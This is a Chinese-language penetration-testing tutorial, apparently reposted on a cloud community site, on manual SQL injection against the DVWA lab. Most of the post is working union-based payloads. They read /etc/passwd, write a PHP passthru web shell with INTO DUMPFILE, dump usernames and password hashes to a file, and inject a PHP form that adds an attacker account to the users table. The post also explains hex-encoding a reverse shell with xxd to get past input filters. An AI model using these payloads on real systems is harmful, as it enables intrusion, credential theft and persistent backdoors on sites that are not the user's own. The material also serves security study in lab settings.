小白日記40:kali滲透測試之Web滲透-SQL手工注入(二)-讀取檔案、寫入檔案、反彈shell

來源:互聯網
上載者:User

標籤:action   引號   data   表結構   md5   com   目錄   手工   creat   

SQL手工注入

1、讀取檔案【load_file函數】

‘ union  SELECT null,load_file(‘/etc/passwd‘)--+

burpsuite

 

2、寫入檔案 

‘ union select null,"<?php passthru($_GET[‘cmd‘]); ?>" INTO DUMPFILE "/var/www/a.php" --+   【寫入一句話木馬;INTO DUMPLING:MySQL函數,將輸入下載在資料庫中】

###此語句往往會提示無法寫入,因為缺少許可權【以運行MySQL的帳號為己身擷取的許可權】

‘ union select null,"<?php passthru($_GET[‘cmd‘]); ?>" INTO DUMPFILE ‘a.php‘ --+     【將其寫入預設路徑(使用單引號): /var/lib/mysql/dvwa/a.php   (dvwa的帳號)】

#當無許可權進行指定目錄寫入檔案時,可使用檔案包含漏洞

首先,往通用目錄/tmp/中寫入,然後結合檔案包含漏洞

‘ union select null, "<?php passthru($_GET[‘cmd‘]); ?>" INTO DUMPFILE "/tmp/a.php" --+

#也可上傳反彈shell

註:當通過URL注入網頁木馬時,“<”、“?”、“php”、“>”等字元可能會觸發過濾機制,所以,應使用編碼繞過

###將網頁木馬編譯成二進位檔案,資料庫會使用INTO DUMPLING將其轉換成PHP代碼儲存

複製反彈shell

修改反彈shellIP

編碼

cat b.php | xxd -ps     【xxd:linux整合,16進位編輯查看器;-ps:顯示編碼後內容】

#16進位存在分行符號,需整理一下,再加一層管道

cat b.php | xxd -ps | tr -d ‘\n‘  【tr -d :刪除】

再將編碼後的密文替換明文

(0x密文)

 

3、儲存下載數【拖庫】

 ‘ union select null, concat(user,0x3a,password) from users INTO OUTFILE ‘/tmp/a.db‘--+

#若沒有檔案包含之類的漏洞可以下載拖庫檔案,則通過限定查詢數目,一步一步複製黏貼進行資料竊取

 

 當上傳webshell無法實現目的操作,可編寫伺服器端代碼,為己所用

#對目標有足夠瞭解,資料庫結構,表結構,程式設計邏輯方法

建立表單,向使用者帳號資料庫插入一個帳號【因為難以破解資料庫的加密內容】,相當於開發一個功能

‘ union select null,‘<?php if(isset($_POST["submit"])) { $userID = $_POST["userID"]; $first_name
= $_POST["first_name"]; $last_name = $_POST["last_name"]; $username =
$_POST["username"]; $avatar = $_POST["avatar"]; echo "userID: $userID<BR>"; echo
"first_name: $first_name<BR>"; echo "last_name: $last_name<BR>"; echo "username:
$username<BR>"; echo "avatar: $avatar<BR>";
$con=mysqli_connect("127.0.0.1","root","","dvwa"); if (mysqli_connect_errno()) { echo
"Failed to connect to MySQL: " . mysqli_connect_error(); } else { echo "Connected to
database<BR>"; } $password = "123"; $sql="insert into dvwa.users values (\\"$userID\\",\
\"$first_name\\",\\"$last_name\\",\\"$username\\",MD5(\\"$password\\"),\\"$avatar\
\")"; if (mysqli_query($con,$sql)) { echo "[Successful Insertion]: $sql"; } else { echo "Error
creating database: " . mysqli_error($con); } mysqli_close($con); } ?> <form method="post"
action="<?php echo $_SERVER["PHP_SELF"]; ?>"> <input type="text" name="userID"
value="33"><br> <input type="text" name="first_name" value="fh"><br> <input type="text"
name="last_name" value="y"><br> <input type="text" name="username" value="yfh"><br>
<input type="text" name="avatar" value="yfh!"><br> <input type="submit" name="submit"
value="Submit Form"><br> </form>‘ INTO DUMPFILE ‘/tmp/user.php‘ --

 

 

小白日記40:kali滲透測試之Web滲透-SQL手工注入(二)-讀取檔案、寫入檔案、反彈shell

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.